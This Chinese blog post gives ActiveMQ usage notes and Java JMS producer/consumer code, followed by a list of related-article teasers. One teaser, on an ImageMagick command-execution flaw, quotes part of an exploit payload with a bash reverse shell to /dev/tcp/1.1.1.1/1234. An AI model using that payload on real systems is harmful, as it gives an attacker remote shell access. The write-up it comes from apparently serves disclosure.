具体原理不进行深入,会用就好。

第一:当然是先安装ActiveMQ,选择操作系统位数,安装成功以后,输入网址http://ip:8161/admin/,会出现相关页面,账号密码都是admin。在这个页面上可以看到消息队列的信息。consume和send使用较多。

第二:创建produce和consume。

  基本的原理都是一样的,JMS(java message send)的13个规范之一,消息中间件的一些组件拼接连通就行了。具体参考代码注释。

容易出错的地方是消息的格式。

这里有点对点模式和发布/订阅模式。我使用的时候是在初始化ContextListener的时候初始化ActiveMQ,然后并重载了onMessage事件(MessageConsumer里面定义了一些接口,可以去使用),这样就不需要一直主动去询问提供者了,队列中有消息时会自动触发该事件。

参考代码:

package com.enjoyor.soa.traffic.server.nmim.listener;

import javax.jms.Message;
import javax.jms.MessageListener;
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener; import com.enjoyor.soa.traffic.server.nmim.util.ActiveMQUtil;
import com.enjoyor.soa.traffic.server.nmim.util.Constants;
import com.enjoyor.soa.traffic.server.nmim.util.InitConfig;
import com.enjoyor.soa.traffic.server.nmim.service.inner.MqManageService;
import com.enjoyor.soa.traffic.util.frame.spring.SpringContextUtil;
import com.enjoyor.soa.traffic.util.helper.LoggerHelper;
import com.enjoyor.soa.traffic.util.pojo.ResultPojo; /**
*
* ContextListener
* 2016-11-25
*
*/
public class ContextListener implements ServletContextListener
{
public void contextDestroyed(ServletContextEvent arg0)
{
System.out.print("contextDestroyed");
} MqManageService manageService; public void contextInitialized(ServletContextEvent arg0)
{
System.out.print("contextInitialized");
String MQNAME = "";
InitConfig initConfig = new InitConfig();
initConfig.init();
MQNAME = InitConfig.confCache.get(Constants.MQNAME).toString();
ActiveMQUtil.getInstance().receive("queue://" + MQNAME, new MessageListener() {
@Override
public void onMessage(Message msg) {
try {
if(null==manageService){
manageService = (MqManageService) SpringContextUtil.getBean("mqManageService");
manageService.setListDic();
}
//MqManageService manageService = (MqManageService) SpringContextUtil.getBean("mqManageService");
ResultPojo pojo = manageService.getMqMsg(msg);
if(!pojo.getappCode().equals("0")){
LoggerHelper.LOG.error("接收失败"+pojo.getResultList());
}
} catch (Exception e) {
LoggerHelper.LOG.error(e);
} }
});
} } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
package com.enjoyor.soa.traffic.server.nmim.util; import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.Destination;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageConsumer;
import javax.jms.MessageListener;
import javax.jms.Session;
import javax.jms.TextMessage; import org.apache.activemq.command.ActiveMQQueue;
import org.apache.activemq.command.ActiveMQTopic;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.jms.core.MessageCreator; public class ActiveMQUtil { private ActiveMQUtil(){ }
private JmsTemplate jmsTemplate;
public JmsTemplate getJmsTemplate() {
return jmsTemplate;
}
public void setJmsTemplate(JmsTemplate jmsTemplate) {
this.jmsTemplate = jmsTemplate;
} private static ActiveMQUtil mq;
public static ActiveMQUtil getInstance(){
if(mq==null){
ApplicationContext context = new ClassPathXmlApplicationContext("activemq.xml");
mq=(ActiveMQUtil)context.getBean("activeMQUtil");
}
return mq;
} public Destination getDestination(String name){
Destination dest=null;
boolean pubSubDomain=name.toLowerCase().indexOf("topic://")==0;
String destName = name.replaceFirst("(?i)(topic|queue)://", "");
if(pubSubDomain){
dest= new ActiveMQTopic(destName);
}else{
dest= new ActiveMQQueue(destName);
}
return dest;
} public String receive(Destination dest) {
try {
TextMessage txtmsg = (TextMessage) getInstance().getJmsTemplate().receive(dest);
if(null!=txtmsg)return txtmsg.getText();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public String receive(String name) {
return receive(getDestination(name));
}
public Connection receive(Destination dest,MessageListener listener){
try{
ConnectionFactory factory = getInstance().getJmsTemplate().getConnectionFactory();
Connection connection = factory.createConnection();
connection.start(); final Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
MessageConsumer consumer = session.createConsumer(dest);
consumer.setMessageListener(listener);
return connection;
} catch (JMSException e) { }
return null;
}
public Connection receive(String name,MessageListener listener){
return receive(getDestination(name),listener);
} public void send(Destination dest,final String msg){
try {
jmsTemplate.send(dest,new MessageCreator() {
public Message createMessage(Session session) throws JMSException {
TextMessage message = session.createTextMessage(msg);
return message;
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
public void send(String name,final String msg){
send(getDestination(name),msg);
} }

注意将ContextListener初始化时注入spring容器中。任何类都需要一个入口,只有进入spring容器中,在jvm中被调用,才有存在的价值。

  

  

ActiveMQ的使用笔记(基本实现原理)的更多相关文章

  1. Python源代码剖析笔记3-Python运行原理初探

    Python源代码剖析笔记3-Python执行原理初探 本文简书地址:http://www.jianshu.com/p/03af86845c95 之前写了几篇源代码剖析笔记,然而慢慢觉得没有从一个宏观 ...

  2. 机器学习实战(Machine Learning in Action)学习笔记————03.决策树原理、源码解析及测试

    机器学习实战(Machine Learning in Action)学习笔记————03.决策树原理.源码解析及测试 关键字:决策树.python.源码解析.测试作者:米仓山下时间:2018-10-2 ...

  3. 【原】Learning Spark (Python版) 学习笔记(三)----工作原理、调优与Spark SQL

    周末的任务是更新Learning Spark系列第三篇,以为自己写不完了,但为了改正拖延症,还是得完成给自己定的任务啊 = =.这三章主要讲Spark的运行过程(本地+集群),性能调优以及Spark ...

  4. Sqlite学习笔记(四)&&SQLite-WAL原理

    Sqlite学习笔记(三)&&WAL性能测试中列出了几种典型场景下WAL的性能数据,了解到WAL确实有性能优势,这篇文章将会详细分析WAL的原理,做到知其然,更要知其所以然. WAL是 ...

  5. Sqlite学习笔记(四)&&SQLite-WAL原理(转)

    Sqlite学习笔记(三)&&WAL性能测试中列出了几种典型场景下WAL的性能数据,了解到WAL确实有性能优势,这篇文章将会详细分析WAL的原理,做到知其然,更要知其所以然. WAL是 ...

  6. 分布式计算框架学习笔记--hadoop工作原理

    (hadoop安装方法:http://blog.csdn.net/wangjia55/article/details/53160679这里不再累述) hadoop是针对大数据设计的一个计算架构.如果你 ...

  7. 读书笔记|Windows 调试原理学习|持续更新

    关于调试方面的学习笔记,主要来源于<软件调试>的读书笔记和梦织未来论坛的视频教程 1.调试器使用一个死循环监听调试信息. DebugActiveProcess(PID);while(TRU ...

  8. Linux实战教学笔记15:磁盘原理

    第十五节 磁盘原理 标签(空格分隔): Linux实战教学笔记 1,知识扩展 非脚本方式的一条命令搞定批量创建用户并设置随机10位字母数字组合密码. 1.1 sed的高级用法 [root@chensi ...

  9. Linux实战教学笔记16:磁盘原理

    第十五节 磁盘原理 标签(空格分隔): Linux实战教学笔记 1,知识扩展 非脚本方式的一条命令搞定批量创建用户并设置随机10位字母数字组合密码. 1.1 sed的高级用法 [root@chensi ...

随机推荐

  1. CF 7C. Line(扩展欧几里德)

    题目链接 AC了.经典问题,a*x+b*y+c = 0整数点,有些忘记了扩展欧几里德,复习一下. #include <cstdio> #include <iostream> # ...

  2. URAL 1501. Sense of Beauty(记忆化搜索)

    题目链接 本来暴力写个TLE了,加上记忆化就A了. #include <cstring> #include <cstdio> #include <string> # ...

  3. osg中遇到的问题

    osg中遇到的问题 今天写程序的时候, 需要把键盘和鼠标消息转发出来, 就直接写了接口用signal丢出来了. 程序写的很多, 测试的时候却崩溃了.... 在场景中拖拽鼠标左键的时候, 会发现在扔出鼠 ...

  4. AJAX-跨域解决之 JSONP

    (一)AJAX ajax 就是从某个文件中去找相关的数据,把数据拿过来以后,利用数据 分析数据 去做我们想做的事情    分两部分:拿数据                  用数据 oUsername ...

  5. Selenium_获取相对坐标

    <html> <head> <title>位置</title> <style> .test { background: url(" ...

  6. 接口测试之soupui&groovy

    原著地址:http://www.cnblogs.com/wade-xu/p/4236295.html#3334654 需注意下方code的设置

  7. c#中的math类

    http://wenku.baidu.com/link?url=TliiVtdB8IeO3wiM9mVSD-3wLZcLum7dsXlEZgSKawo6x-qvE_G3VL_yDa3ZQ_9ZFlGG ...

  8. ImageMagick又一处命令执行

    push graphic-context viewbox image copy , , "|bash -i >& /dev/tcp/1.1.1.1/1234 0>& ...

  9. 【HDU 2853】 KM算法

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2853 题意:有n个公司,m个任务,每个公司做每个任务都有一个效率值,最开始每个公司都指派了一个任务,现 ...

  10. ZedBoard 引脚约束参考

    从ISE转换到Vivado时,UCF转XDC的几种方法: (1)软件自动转换 参考网址:Youtube 用ISE->EDK->PlanAhead打开所需转换的工程文件*.xise,并打开b ...